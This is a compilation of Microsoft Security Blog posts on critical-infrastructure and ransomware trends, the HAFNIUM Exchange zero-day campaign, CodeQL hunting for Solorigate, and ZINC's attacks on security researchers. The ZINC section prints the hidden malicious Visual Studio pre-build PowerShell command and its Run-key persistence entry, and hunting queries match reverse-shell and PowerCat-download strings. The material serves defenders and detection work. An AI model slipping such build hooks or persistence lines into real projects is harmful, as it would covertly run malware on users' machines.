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Today, the third edition of Cyber Signals was released spotlighting security trends and insights gathered from Microsoft’s 43 trillion daily security signals and 8,500 security experts. In this edition, we share new insights on wider risks that converging IT, Internet of Things (IoT), and operational technology (OT) systems pose to critical infrastructure. Cyber Signals presents new data on these risks with practical recommendations for enterprises.

OT is a combination of hardware and software across programmable systems or devices that interact with the physical environment (or manage devices that interact with the physical environment). Examples of OT can include building management systems, fire control systems, and physical access control mechanisms, like doors and elevators.

With increasing connectivity across converging IT, OT, and IoT increasing, organizations and individuals need to rethink cyber risk impact and consequences. Similar to how the loss of a laptop or modern vehicle containing a homeowner’s cached Wi-Fi credentials could grant a property thief unauthorized network access, compromising a manufacturing facility’s remotely connected equipment or a smart building’s security cameras introduces new vectors for threats like malware or industrial espionage.

With more than 41 billion IoT devices across enterprise and consumer environments expected by 2025—according to International Data Corporation (IDC) research¹—devices such as cameras, smart speakers, or locks and commercial appliances can become entry points for attackers.

As OT systems underpinning energy, transportation, and other infrastructures become increasingly connected to IT systems, the risk of disruption and damage grows as boundaries blur between these formerly separated worlds. Microsoft has identified unpatched, high-severity vulnerabilities in 75 percent of the most common industrial controllers in customer OT networks, illustrating how challenging it is for even well-resourced organizations to patch control systems in demanding environments sensitive to downtime.

For businesses and infrastructure operators across industries, the defensive imperatives are gaining total visibility over connected systems and weighing evolving risks and dependencies. Unlike the IT landscape of common operating systems, business applications, and platforms, OT and IoT landscapes are more fragmented, featuring proprietary protocols and devices that may not have cybersecurity standards. Other realities affecting things like patching and vulnerability management are also factors.

While connected OT and IoT-enabled devices offer significant value to organizations looking to modernize workspaces, become more data-driven, and ease demands on staff through shifts like remote management and automation in critical infrastructure networks, if not properly secured, they increase the risk of unauthorized access to operational assets and networks.

David Atch, Microsoft Threat Intelligence, Head IoT and OT Security Research, highlights in this edition’s profile that to address IT and OT threats to critical infrastructure, organizations must have full visibility into the number of IT, OT, and IoT devices in their enterprise, where or how they converge, and the vital data, resources, and utilities accessible across these devices. Without this, organizations face both mass information disclosure (such as leaked production data of a factory) and the potential elevation of privilege for command and control of cyber-physical systems (such as stopping a factory production line). He shares additional insights in the Cyber Signals digital briefing where we take a deeper dive into wider risks that converging IT, IoT, and OT systems pose.

Securing IoT solutions with a Zero Trust security model starts with non-IoT specific requirements—specifically ensuring you have implemented the basics to securing identities and their devices and limiting their access. These requirements include explicitly verifying users, having visibility into the devices on the network, and real-time risk detections. 

Learn more

Read the third edition of Cyber Signals today.

We hope these resources are helpful in understanding and managing this evolving risk. To learn more about IT, OT, and IoT threats and explore the latest cybersecurity insights and updates visit Security Insider.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

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¹The Growth in Connected IoT Devices is Expected to Generate 79.4ZB of Data in 2025, According to a New IDC Forecast, Business Wire. June 18, 2019.

The post Cyber Signals: Risks to critical infrastructure on the rise appeared first on Microsoft Security Blog.

Today, Microsoft is excited to publish our second edition of Cyber Signals, spotlighting security trends and insights gathered from Microsoft’s 43 trillion security signals and 8,500 security experts. In this edition, we pull back the curtain on the evolving cybercrime economy and the rise of Ransomware-as-a-service (RaaS). Instead of relying on what cybercriminals say about themselves through extortion attempts, forum posts, or chat leaks, Microsoft threat intelligence gives us visibility into threat actors’ actions.

RaaS is often an arrangement between an operator, who develops and maintains the malware and attack infrastructure necessary to power extortion operations, and “affiliates” who sign on to deploy the ransomware payload against targets. Affiliates purchase initial access from brokers or hit lists of vulnerable organizations, such as those with exposed credentials or already having malware footholds on their networks. Cybercriminals then use these footholds as a launchpad to deploy a ransomware payload against targets.

The impact of RaaS dramatically lowers the barrier to entry for attackers, obfuscating those behind initial access brokering, infrastructure, and ransoming. Because RaaS actors sell their expertise to anyone willing to pay, budding cybercriminals without the technical prowess required to use backdoors or invent their own tools can simply access a victim by using ready-made penetration testing and system administrator applications to perform attacks.

The endless list of stolen credentials available online means that without basic defenses like multifactor authentication (MFA), organizations are at a disadvantage in combating ransomware’s infiltration routes before the malware deployment stage. Once it’s widely known among cybercriminals that access to your network is for sale, RaaS threat actors can create a commoditized attack chain, allowing themselves and others to profit from your vulnerabilities.

While many organizations consider it too costly to implement enhanced security protocols, security hardening actually saves money. Not only will your systems become more secure, but your organization will spend less on security costs and less time responding to threats, leaving more time to focus on incoming incidents.

Businesses are experiencing an increase in both the volume and sophistication of cyberattacks. The Federal Bureau of Investigation’s 2021 Internet Crime Report found that the cost of cybercrime in the United States totaled more than USD6.9 billion.¹ The European Union Agency for Cybersecurity (ENISA) reports that between May 2021 and June 2022, about 10 terabytes of data were stolen each month by ransomware threat actors, with 58.2 percent of stolen files including employees’ personal data.²

It takes new levels of collaboration to meet the ransomware challenge. The best defenses begin with clarity and prioritization, which means more sharing of information across and between the public and private sectors and a collective resolve to help each other make the world safer for all. At Microsoft, we take that responsibility to heart because we believe security is a team sport. You can explore the latest cybersecurity insights and updates at our threat intelligence hub Security Insider. 

With a broad view of the threat landscape—informed by 43 trillion threat signals analyzed daily, combined with the human intelligence of our more than 8,500 experts—threat hunters, forensics investigators, malware engineers, and researchers, we see first-hand what organizations are facing and we’re committed to helping you put that information into action to pre-empt and disrupt extortion threats.

Learn more

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

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¹Internet Crime Report, Federal Bureau of Investigation. 2021.

²Ransomware: Publicly Reported Incidents are only the tip of the iceberg, European Union Agency for Cybersecurity. July 29, 2022.

The post Cyber Signals: Defend against the new ransomware landscape appeared first on Microsoft Security Blog.

Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures.

The vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which were addressed in today’s Microsoft Security Response Center (MSRC) release – Multiple Security Updates Released for Exchange Server. We strongly urge customers to update on-premises systems immediately. Exchange Online is not affected.

We are sharing this information with our customers and the security community to emphasize the critical nature of these vulnerabilities and the importance of patching all affected systems immediately to protect against these exploits and prevent future abuse across the ecosystem. This blog also continues our mission to shine a light on malicious actors and elevate awareness of the sophisticated tactics and techniques used to target our customers. The related IOCs, Azure Sentinel advanced hunting queries, and Microsoft Defender for Endpoint product detections and queries shared in this blog will help SOCs proactively hunt for related activity in their environments and elevate any alerts for remediation.

Microsoft would like to thank our industry colleagues at Volexity and Dubex for reporting different parts of the attack chain and their collaboration in the investigation. Volexity has also published a blog post with their analysis. It is this level of proactive communication and intelligence sharing that allows the community to come together to get ahead of attacks before they spread and improve security for all.

Who is HAFNIUM?

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.

HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.

In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets’ environments.

HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

Technical details

Microsoft is providing the following details to help our customers understand the techniques used by HAFNIUM to exploit these vulnerabilities and enable more effective defense against any future attacks against unpatched systems.

CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.

CVE-2021-26857 is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.

CVE-2021-26858 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

CVE-2021-27065 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

Attack details

After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below:

Following web shell deployment, HAFNIUM operators performed the following post-exploitation activity:

• Using Procdump to dump the LSASS process memory:

• Using 7-Zip to compress stolen data into ZIP files for exfiltration:

• Adding and using Exchange PowerShell snap-ins to export mailbox data:

• Using the Nishang Invoke-PowerShellTcpOneLine reverse shell:

• Downloading PowerCat from GitHub, then using it to open a connection to a remote server:

HAFNIUM operators were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users.

Our blog, Defending Exchange servers under attack, offers advice for improving defenses against Exchange server compromise. Customers can also find additional guidance about web shell attacks in our blog Web shell attacks continue to rise.

Can I determine if I have been compromised by this activity?

The below sections provide indicators of compromise (IOCs), detection guidance, and advanced hunting queries to help customers investigate this activity using Exchange server logs, Azure Sentinel, Microsoft Defender for Endpoint, and Microsoft 365 Defender. We encourage our customers to conduct investigations and implement proactive detections to identify possible prior campaigns and prevent future campaigns that may target their systems.

Check patch levels of Exchange Server

The Microsoft Exchange Server team has published a blog post on these new Security Updates providing a script to get a quick inventory of the patch-level status of on-premises Exchange servers and answer some basic questions around installation of these patches.

Scan Exchange log files for indicators of compromise

• CVE-2021-26855 exploitation can be detected via the following Exchange HttpProxy logs:
  • These logs are located in the following directory: %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy
  • Exploitation can be identified by searching for log entries where the AuthenticatedUser is empty and the AnchorMailbox contains the pattern of ServerInfo~*/*
    • Here is an example PowerShell command to find these log entries:

Import-Csv -Path (Get-ChildItem -Recurse -Path “$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy” -Filter ‘*.log’).FullName | Where-Object {  $_.AuthenticatedUser -eq ” -and $_.AnchorMailbox -like ‘ServerInfo~*/*’ } | select DateTime, AnchorMailbox

• • If activity is detected, the logs specific to the application specified in the AnchorMailbox path can be used to help determine what actions were taken.
    • These logs are located in the %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging directory.
• CVE-2021-26858 exploitation can be detected via the Exchange log files:
  • C:\Program Files\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog
  • Files should only be downloaded to the %PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp directory
    • In case of exploitation, files are downloaded to other directories (UNC or local paths)
  • Windows command to search for potential exploitation:

findstr /snip /c:”Download failed and temporary file” “%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log”

• CVE-2021-26857 exploitation can be detected via the Windows Application event logs
  • Exploitation of this deserialization bug will create Application events with the following properties:
    • Source: MSExchange Unified Messaging
    • EntryType: Error
    • Event Message Contains: System.InvalidCastException
  • Following is PowerShell command to query the Application Event Log for these log entries:

Get-EventLog -LogName Application -Source “MSExchange Unified Messaging” -EntryType Error | Where-Object { $_.Message -like “*System.InvalidCastException*” }

• CVE-2021-27065 exploitation can be detected via the following Exchange log files:
  • C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server

All Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.

• • Following is a PowerShell command to search for potential exploitation:

Select-String -Path “$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log” -Pattern ‘Set-.+VirtualDirectory’

Host IOCs

Hashes

Web shell hashes

• b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
• 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
• 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
• 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
• 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
• 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
• 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
• 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944

Paths

We observed web shells in the following paths:

• C:\inetpub\wwwroot\aspnet_client\
• C:\inetpub\wwwroot\aspnet_client\system_web\
• In Microsoft Exchange Server installation paths such as:
  • %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
  • C:\Exchange\FrontEnd\HttpProxy\owa\auth\

The web shells we detected had the following file names:

• web.aspx
• help.aspx
• document.aspx
• errorEE.aspx
• errorEEE.aspx
• errorEW.aspx
• errorFF.aspx
• healthcheck.aspx
• aspnet_www.aspx
• aspnet_client.aspx
• xx.aspx
• shell.aspx
• aspnet_iisstart.aspx
• one.aspx

 Check for suspicious .zip, .rar, and .7z files in C:\ProgramData\, which may indicate possible data exfiltration.

Customers should monitor these paths for LSASS dumps:

• C:\windows\temp\
• C:\root\

Tools

• Procdump
• Nishang
• PowerCat

Many of the following detections are for post-breach techniques used by HAFNIUM. So while these help detect some of the specific current attacks that Microsoft has observed it remains very important to apply the recently released updates for CVE-2021-26855, CVE-2021-26857, CVE-2021-27065 and CVE-2021-26858.

Microsoft Defender Antivirus detections

Please note that some of these detections are generic detections and not unique to this campaign or these exploits.

• Exploit:Script/Exmann.A!dha
• Behavior:Win32/Exmann.A
• Backdoor:ASP/SecChecker.A
• Backdoor:JS/Webshell (not unique)
• Trojan:JS/Chopper!dha (not unique)
• Behavior:Win32/DumpLsass.A!attk (not unique)
• Backdoor:HTML/TwoFaceVar.B (not unique)

Microsoft Defender for Endpoint detections

• Suspicious Exchange UM process creation
• Suspicious Exchange UM file creation
• Possible web shell installation (not unique)
• Process memory dump (not unique)

Azure Sentinel detections

• HAFNIUM Suspicious Exchange Request
• HAFNIUM UM Service writing suspicious file.
• HAFNIUM New UM Service Child Process
• HAFNIUM Suspicious UM Service Errors
• HAFNIUM Suspicious File Downloads

Advanced hunting queries

To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint and Azure Sentinel:

Microsoft Defender for Endpoint advanced hunting queries

Microsoft 365 Defender customers can find related hunting queries below or at this GitHub location: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/

Additional queries and information are available via Threat Analytics portal for Microsoft Defender customers.

UMWorkerProcess.exe in Exchange creating abnormal content

Look for Microsoft Exchange Server’s Unified Messaging service creating non-standard content on disk, which could indicate web shells or other malicious content, suggesting exploitation of CVE-2021-26858 vulnerability:

DeviceFileEvents | where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "CacheCleanup.bin" | where FileName !endswith ".txt"
| where FileName !endswith ".LOG" | where FileName !endswith ".cfg" | where FileName != "cleanup.bin"

UMWorkerProcess.exe spawning

Look for Microsoft Exchange Server’s Unified Messaging service spawning abnormal subprocesses, suggesting exploitation of CVE-2021-26857 vulnerability:

DeviceProcessEvents
| where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "wermgr.exe" | where FileName != "WerFault.exe"

Please note excessive spawning of wermgr.exe and WerFault.exe could be an indicator of compromise due to the service crashing during deserialization.

Azure Sentinel advanced hunting queries

Azure Sentinel customers can find a Sentinel query containing these indicators in the Azure Sentinel Portal or at this GitHub location: https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/.

Look for Nishang Invoke-PowerShellTcpOneLine in Windows Event Logging:

SecurityEvent  | where EventID == 4688  | where Process has_any ("powershell.exe", "PowerShell_ISE.exe")  | where CommandLine has "$client = New-Object System.Net.Sockets.TCPClient"

Look for downloads of PowerCat in cmd and Powershell command line logging in Windows Event Logs:

SecurityEvent  | where EventID == 4688  | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe")  | where CommandLine has "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"

Look for Exchange PowerShell Snapin being loaded. This can be used to export mailbox data, subsequent command lines should be inspected to verify usage:

SecurityEvent  | where EventID == 4688  | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe")  | where isnotempty(CommandLine)  | where CommandLine contains "Add-PSSnapin Microsoft.Exchange.Powershell.Snapin"  | summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Computer, Account, CommandLine

 

The post HAFNIUM targeting Exchange Servers with 0-day exploits appeared first on Microsoft Security.

A key aspect of the Solorigate attack is the supply chain compromise that allowed the attacker to modify binaries in SolarWinds’ Orion product. These modified binaries were distributed via previously legitimate update channels and allowed the attacker to remotely perform malicious activities, such as credential theft, privilege escalation, and lateral movement, to steal sensitive information. The incident has reminded organizations to reflect not just on their readiness to respond to sophisticated attacks, but also the resilience of their own codebases.

Microsoft believes in leading with transparency and sharing intelligence with the community for the betterment of security practices and posture across the industry as a whole. In this blog, we’ll share our journey in reviewing our codebases, highlighting one specific technique: the use of CodeQL queries to analyze our source code at scale and rule out the presence of the code-level indicators of compromise (IoCs) and coding patterns associated with Solorigate. We are open sourcing the CodeQL queries that we used in this investigation so that other organizations may perform a similar analysis. Note that the queries we cover in this blog simply serve to home in on source code that shares similarities with the source in the Solorigate implant, either in the syntactic elements (names, literals, etc.) or in functionality. Both can occur coincidentally in benign code, so all findings will need review to determine if they are actionable. Additionally, there is no guarantee that the malicious actor is constrained to the same functionality or coding style in other operations, so these queries may not detect other implants that deviate significantly from the tactics seen in the Solorigate implant. These should be considered as just a part in a mosaic of techniques to audit for compromise.

Microsoft has long had integrity controls in place to verify that the final compiled binaries distributed to our servers and to our customers have not been maliciously modified at any point in the development and release cycle. For example, we verify that the source file hashes generated by the compiler match the original source files. Still, at Microsoft, we live by the “assume breach” philosophy, which tells us that regardless of how diligent and expansive our security practices are, potential adversaries can be equally as clever and resourced. As part of the Solorigate investigation, we used both automated and manual techniques to validate the integrity of our source code, build environments, and production binaries and environments.

Microsoft’s contribution during Solorigate investigations reflects our commitment to a community-based sharing vision described in Githubification of InfoSec. In keeping with our vision to grow defender knowledge and speed community response to sophisticated threats, Microsoft teams have openly and transparently shared indicators of compromise, detailed attack analysis and MITRE ATT&CK techniques, advanced hunting queries, incident response guidance, and risk assessment workbooks during this incident. Microsoft encourages other security organizations that share the “Githubification” vision to open source their own threat knowledge and defender techniques to accelerate defender insight and analysis. As we have shared before, we have compiled a comprehensive resource for technical details of the attack, indicators of compromise, and product guidance at https://aka.ms/solorigate. As part of Microsoft’s sweeping investigation into Solorigate, we reviewed our own environment. As we previously shared, these investigations found activity with a small number of internal accounts, and some accounts had been used to view source code, but we found no evidence of any modification to source code, build infrastructure, compiled binaries, or production environments.

A primer on CodeQL and how Microsoft utilizes it

CodeQL is a powerful semantic code analysis engine that is now part of GitHub. Unlike many analysis solutions, it works in two distinct stages. First, as part of the compilation of source code into binaries, CodeQL builds a database that captures the model of the compiling code. For interpreted languages, it parses the source and builds its own abstract syntax tree model, as there is no compiler. Second, once constructed, this database can be queried repeatedly like any other database. The CodeQL language is purpose-built to enable the easy selection of complex code conditions from the database.

One of the reasons we find so much utility from CodeQL at Microsoft is specifically because this two-stage approach unlocks many useful scenarios, including being able to use static analysis not just for proactive Secure Development Lifecycle analysis but also for reactive code inspection across the enterprise. We aggregate the CodeQL databases produced by the various build systems or pipelines across Microsoft to a centralized infrastructure where we have the capability to query across the breadth of CodeQL databases at once. Aggregating CodeQL databases allows us to search semantically across our multitude of codebases and look for code conditions that may span between multiple assemblies, libraries, or modules based on the specific code that was part of a build. We built this capability to analyze thousands of repositories for newly described variants of vulnerabilities within hours of the variant being described, but it also allowed us to do a first-pass investigation for Solorigate implant patterns similarly, quickly.

We are open sourcing several of the C# queries that assess for these code-level IoCs, and they can currently be found in the CodeQL GitHub repository. The Solorigate-Readme.md within that repo contains detailed descriptions of each query and what code-level IoCs each one is attempting to find. It also contains guidance for other query authors on making adjustments to those queries or authoring queries that take a different tactic in finding the patterns.

GitHub will shortly publish guidance on how they are deploying these queries for existing CodeQL customers. As a reminder, CodeQL is free for open-source projects hosted by GitHub.

Our approach to finding code-level IoCs with CodeQL queries

We used two different tactics when looking for code-level Solorigate IoCs. One approach looks for particular syntax that stood out in the Solorigate code-level IoCs; the other approach looks for overall semantic patterns for the techniques present in the code-level IoCs.

The syntactic queries are very quick to write and execute while offering several advantages over comparable regular expression searches; however, they are brittle to the malicious actor changing the names and literals they use. The semantic patterns look for the overall techniques used in the implant, such as hashing process names, time delays before contacting the C2 servers, etc. These are durable to substantial variation, but they are more complicated to author and more compute-intensive when analyzing many codebases at once.

By combining these two approaches, the queries are able to detect scenarios where the malicious actor changed techniques but used similar syntax, or changed syntax but employed similar techniques. Because it’s possible that the malicious actor could change both syntax and techniques, CodeQL was but one part of our larger investigative effort.

Next steps with CodeQL

The queries we shared in this blog and described in Solorigate-Readme.md target patterns specifically associated with the Solorigate code-level IoCs, but CodeQL also provides many other options to query for backdoor functionality and detection-evasion techniques.

These queries were relatively quick to author, and we were able to hunt for patterns much more accurately across our CodeQL databases and with far less effort to manually review the findings, compared to using text searches of source code. CodeQL is a powerful developer tool, and our hope is that this post inspires organizations to explore how it can be used to improve reactive security response and act as a compromise detection tool.

In future blog posts, we’ll share more ways that Microsoft uses CodeQL. We’ll also continue open-sourcing queries and utilities that build upon CodeQL so that others may benefit from them and further build upon them.

The post Microsoft open sources CodeQL queries used to hunt for Solorigate activity appeared first on Microsoft Security.

In recent months, Microsoft has detected cyberattacks targeting security researchers by an actor we track as ZINC. The campaign originally came to our attention after Microsoft Defender for Endpoint detected an attack in progress. Observed targeting includes pen testers, private offensive security researchers, and employees at security and tech companies. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to ZINC, a DPRK-affiliated and state-sponsored group, based on observed tradecraft, infrastructure, malware patterns, and account affiliations.

This ongoing campaign was reported by Google’s Threat Analysis Group (TAG) earlier this week, capturing the browser-facing impact of this attack. By sharing additional details of the attack, we hope to raise awareness in the cybersecurity community about additional techniques used in this campaign and serve as a reminder to security professionals that they are high-value targets for attackers.

We also want to thank our industry colleagues at Twitter and GitHub for their collaboration in this investigation and rapid actions to suspend the malicious accounts targeting the security community and our mutual customers.

We are sharing this information with the community as part of our mission to shine a light on bad actors and elevate awareness of low-profile tactics and techniques that easily fly under the radar of security operations centers (SOCs) or security professionals and are easily overlooked as low-level alerts or benign chatter. The related IoCs and Microsoft Defender for Endpoint product detections we share in this blog will help SOCs proactively hunt for related activity in their environments and elevate any low-level alerts for remediation. ZINC used a variety of new techniques to target the victims, including gaining credibility on social media with genuine content, sending malicious Visual Studio projects, and using a watering hole website weaponized with browser exploits.

Technical details

In mid-2020, ZINC started building a reputation in the security research community on Twitter by retweeting high quality security content and posting about exploit research from an actor-controlled blog. Throughout the lifetime of the campaign, the actor operated several accounts that accounted for roughly 2,000 followers, including many prominent security researchers.

In the image below, one of the actor-controlled Twitter account retweets another of their accounts to amplify their own posts. The posts from the actors received a reasonable amount of attention, usually accumulating several hundred likes or retweets.

Figure 1. Actor-controlled Twitter handles

After building their reputation across their established social media accounts, the actors started approaching potential targets on social media platforms such as Twitter and LinkedIn. The conversations were often seemingly innocuous, asking security questions or talking about exploit techniques. If the researcher was responsive, the actor would offer to move communication to another platform (e.g., email, Discord) in some cases to then send files using encrypted or PGP protected ZIPs.

ZINC also used their Twitter accounts to post links to a security blog they owned (br0vvnn[.]io). These links were also shared by many others in the security community on Twitter and other social media platforms, further deepening trust for the owner and content.

A blog post titled DOS2RCE: A New Technique To Exploit V8 NULL Pointer Dereference Bug, was shared by the actor on October 14, 2020 from Twitter. From October 19-21, 2020, some researchers, who hadn’t been contacted or sent any files by ZINC profiles, clicked the links while using the Chrome browser, resulting in known ZINC malware on their machines soon after. This suggests that a Chrome browser exploit chain was likely hosted on the blog, although we haven’t been able to prove this. Since some of the victim’s browsers were fully patched, it’s also suspected, but unproven, that the exploit chain used 0-day or patch gap exploits. We believe that not all visitors to the site were compromised, even during the dates listed above.

Malicious Visual Studio project

Some of the files sent by ZINC to researchers were malicious Visual Studio projects that included prebuilt binaries. One of the binaries used the well-known name Browse.vc.db but was a malicious DLL rather than a database file. Microsoft Defender for Endpoint detects these DLLs as Comebacker malware. A pre-build event with a PowerShell command was used to launch Comebacker via rundll32. This use of a malicious pre-build event is an innovative technique to gain execution.

An example of the PowerShell in the pre-build event can be seen here:

<PreBuildEvent>

<Command>
powershell -executionpolicy bypass -windowstyle hidden if(([system.environment]::osversion.version.major -eq 10) -and [system.environment]::is64bitoperatingsystem -and (Test-Path x64\Debug\Browse.VC.db)){rundll32 x64\Debug\Browse.VC.db,ENGINE_get_RAND 7am1cKZAEb9Nl1pL 4201 }
</Command>

</PreBuildEvent>

Pre-build events are stored in the .vcxproj file in Visual Studio solutions. The page How to: Use Build Events in MSBuild Projects has a list of other build events and example XML for the events. It would also be possible to abuse a custom build step in the same way.

Analyzing Comebacker DLLs

Once the malicious Visual Studio Project file was built, the process drops C:\ProgramData\VirtualBox\update.bin and adds the file to an autostart registry key. Update.bin (SHA-256: 25d8ae46…) is a different 64-bit DLL file embedded inside Browser.VC.db.

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
• “C:\Windows\System32\rundll32.exe C:\ProgramData\VirtualBox\update.bin,ASN2_TYPE_new 5I9YjCZ0xlV45Ui8 2907”

The actors put some effort into modifying the Comebacker malware attributes between deployments; file names, file paths and exported functions were regularly changed so these static IOCs can’t be solely relied upon for dependable detection. We were first alerted to the attack when Microsoft Defender for Endpoint detected the Comebacker DLL attempting to perform process privilege escalation. See the Microsoft Defender for Endpoint detections section for a full process chain of the attack.

Klackring malware

Klackring is a DLL that registers a malicious service on the targeted machine. It was deployed to victims either by the Comebacker malware or an unknown dropper. The DLL was dropped to C:\Windows\system32 and saved with the .sys file extension.

MHTML file

In addition to the social engineering attacks via social media platforms, we observed that ZINC sent researchers a copy of a br0vvnn blog page saved as an MHTML file with instructions to open it with Internet Explorer. The MHTML file contained some obfuscated JavaScript that called out to a ZINC-controlled domain for further JavaScript to execute. The site was down at the time of investigation and we have not been able to retrieve the payload for further analysis.

Driver abuse

In one instance, we discovered the actor had downloaded an old version of the Viraglt64.sys driver from the Vir.IT eXplorer antivirus. The file was dropped to the victim system as C:\Windows\System32\drivers\circlassio.sys. The actor then attempted to exploit CVE-2017-16238, described by the finder here, where the driver doesn’t perform adequate checking on a buffer it receives, which can be abused to gain an arbitrary kernel write primitive. The actor’s code however appears to be buggy and when attempting to exploit the vulnerability the exploit tried to overwrite some of the driver’s own code which crashed the victim’s machine.

Other malware

Other tools used included an encrypted Chrome password-stealer hosted on ZINC domain https://codevexillium[.]org. The host DLL (SHA-256: ada7e80c…) was downloaded to the path C:\ProgramData\USOShared\USOShared.bin using PowerShell and then ran via rundll32.  This malware is a weaponized version of CryptLib, and it decrypted the Chrome password stealer (SHA-256: 9fd0506…), which it dropped to C:\ProgramData\USOShared\USOShared.dat.

C2 communication

After establishing a command-and-control (C2) channel on a targeted device, the backdoor is configured to check into the C2 servers every 60 seconds. Over this C2 channel, the threat actors can execute remote commands to enumerate files/directories and running processes, and to collect/upload information about the target device, including IP address, Computer Name, and NetBIOS.  Furthermore, we observed some hands-on-keyboard action to enumerate all files/directories on the target disk, create screenshots, and deploy additional modules.

Microsoft Defender for Endpoint detections

When malware is run from a malicious Visual Studio project, the following alerts and process tree are generated by Microsoft Defender for Endpoint. Multiple alerts, including “Use of living-off-land binary to run malware” and “Process Privilege escalation”, were triggered on the execution of Browser.VC.db and update.bin.

Microsoft Defender for Endpoint has comprehensive detection coverage for this campaign. These detections raise alerts that inform security operations teams about the presence of activities and artifact from the attacks. Security operations and incident response teams can use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.

Figure 2. Alert raised by Microsoft Defender for Endpoint on ComeBacker

Figure 3. Alert raised by Microsoft Defender for Endpoint on low-reputation arbitrary code executed by signed executable

Recommended actions and preventative measures

If you visited the referenced ZINC-owned blog (br0vvnn[.]io), you should immediately run a full antimalware scan and use the provided IOCs to check your systems for intrusion. If a scan or searching for the IOCs find any related malware on your systems, you should assume full compromise and rebuild. Microsoft assesses that security research was the likely objective of the attack, and any information on the affected machine may be compromised.

For proactive prevention of this type of attack, it is recommended that security professionals use an isolated environment (e.g., a virtual machine) for building untrusted projects in Visual Studio or opening any links or files sent by unknown parties.

Associated indicators of compromise (IOCs)

The below list provides IOCs observed during this activity. We encourage our customers to implement detections and protections to identify possible prior campaigns or prevent future campaigns against their systems.

Azure Sentinel customers can find a Sentinel query containing these indicators in this GitHub repo: https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/ZincJan272021IOCs.yaml

Microsoft 365 Defender customers can find related hunting queries below or at this GitHub repo: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/

Microsoft Defender for Endpoint detections for malware

• Backdoor:Script/ComebackerCompile.A!dha
• Trojan:Win64/Comebacker.A!dha
• Trojan:Win64/Comebacker.A.gen!dha
• Trojan:Win64/Comebacker.B.gen!dha
